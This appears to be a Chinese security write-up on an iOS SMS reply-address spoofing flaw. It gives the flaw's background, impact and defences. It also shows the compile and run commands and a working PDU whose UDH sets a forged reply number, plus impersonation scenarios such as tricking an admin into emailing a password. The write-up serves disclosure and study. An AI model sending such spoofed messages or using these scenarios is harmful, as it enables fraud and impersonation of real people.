警告:禁止利用文中提到的内容、原理发布任何漏洞利用工具,后果自负。
(国内骗子都那么多了,大家都积点德吧)
漏洞简介:
4天前Pod2g发文Never trust SMS: iOS text spoofin
http://pod2g-ios.blogspot.com/2012/08/never-trust-sms-ios-text-spoofing.html
该漏洞能影响所有iOS 版本包括最新的iOS 6 beta 4。
并发布利用程序:https://github.com/pod2g/sendrawpdu/,但这个并不是可利用的工具,只是一个使用命令行模式下PDU模式发送SMS的工具,其中的欺骗代码没有给出。而且此类工具很多,并且这个程序也只是由sendmodem http://code.google.com/p/iphone-elite/修改而来。
漏洞描述:
发送短信常用两种模式Text(文本)和PDU(Protocol Data Unit,协议数据单元)模式,此漏洞通过PDU模式发送SMS,并在UDH (User Data Header)中插入自定义回复地址的号码。这样构造出来的SMS后发给iPhone用户,在iPhone短信应用里收到的SMS ,来源就是自定义过的“回复地址”号码,并且当iPhone用户回复的时候,也会直接回复到这个自定义的号码而不会给真实的发送者回复。
漏洞影响:
在国内的话,会被各种垃圾短信、诈骗团伙等利用,还有更邪恶的社会工程学。
案例1:伪造一个目标用户的朋友号码,发一些绝交的内容。
案例2:给某个公司的网站管理员发送获取密码的短信,并伪装成该公司领导手机号,短信中明确指出在外边不方便,要将密码发送到[email protected] ,勿回短信。
漏洞防御:
苹果目前没有修补该漏洞,以后会不会,我觉得会根据漏洞利用的广泛程度。有人说开启iMessage可以防御?但测试依然可以利用漏洞。个人用户如何御?我遵循五不原则:不听、不看、不信、不转帐、不汇款(没错就是银行ATM机边上天天播放的那段…..),有条件的同学可以暂时换个手机,目前安卓、Nokia等系列非iOS系统并没有发现该问题,如果有人测试安卓或其他系统存在该问题请给出手机型号、系统版本,方便预警。
漏洞利用过程:
繁琐的AT操作SIM命令和PDU的内容不说了,相关文章也很多。如 http://hi.baidu.com/shadowex/item/629b32549c2696beacc857c1
翻阅3GPP标准中SMS部分http://www.3gpp.org/ftp/Specs/html-info/23040.htm随便找个09年或者最新的都可以。
其中有一段提到回复地址会被滥用
NOTE: Despite the fact that MMI aspects of the ME are out of the scope of the present document, it must be mentioned that this mechanism might open the door to potential abuse. It is desirable that the user is made aware in some way that the reply address of the incoming message is different from the originator’s one, and that the user is presented with the original TP-OA address to identify the sender of the SM .
UDH各位置标识,其中22就是利用关键的地方。
当知道了原理之后,我们就可以利用Baseband命令直接操作SIM ,以PDU模式发送SMS.如果手头没有其他工具就先编译sendrawpdu,我的XCODE版本有问题,无法编译,直接将main.c扔到iPhone里编译(之前已存在编译环境gcc、头文件等),代码需要小改动。
代码编译完后
gcc -o raw main.c
运行如下
root# ./raw
usage: ./raw <pdu data>
直接把生成的PDU传入程序。PDU的Encode和Decode网上代码、程序都很多。如 http://rednaxela.net/pdu.php
root#./raw 0001000791680180F60004027965
等待一会过程比较慢长。(该段PDU的含义是给10086发送内容为ye的短信,正常短信)
发送成功后,测试插入UDH,刚开始研究对UDH还不太熟悉,搜了下现成的工具目前只有那么一款支持插入UDH(google能搜到这里不提了),生成PDU时加上UDH自定义的回复地址,再次测试
root#./raw 0041000B813108108300F0000807004F60597D554A
(这条PDU含义为给13800138000发送”你好啊”,正常短信)
root#./raw 0041000B813108108300F000080E07220505800110F04F60597D554A
(这条PDU含义为给13800138000发送”你好啊”,并且UDH的回复地址修改成10010)
这样13800138000的iPhone用户,就会收到一条10010发来的”你好啊”短信。
UDH各标识的具体值为:
USER DATA LENGTH : 14 octets, 7 UCS2 chars
UDH LENGTH : 7 octets
UDH : 22 05 05 80 01 10 F0
UDH ELEMENTS : 22 - Reply Address Element
5 (0×05) Bytes Information Element
Answer to 10010
USER DATA (TEXT) : <CJK Unified Ideographs>
你好啊
4F 60 59 7D 55 4A
以下是我给自己发的测试。
这里的10086就是UDH中的回复地址,被iPhone识别成发信者了。
相关漏洞:
2008年的时候ITSX的研究员就发现过,因PDU畸形数据而导致的dos问题,使用者接收到畸形数据的SMS就会导致系统崩溃。当时影响诺基亚3310、3330、6210系列手机。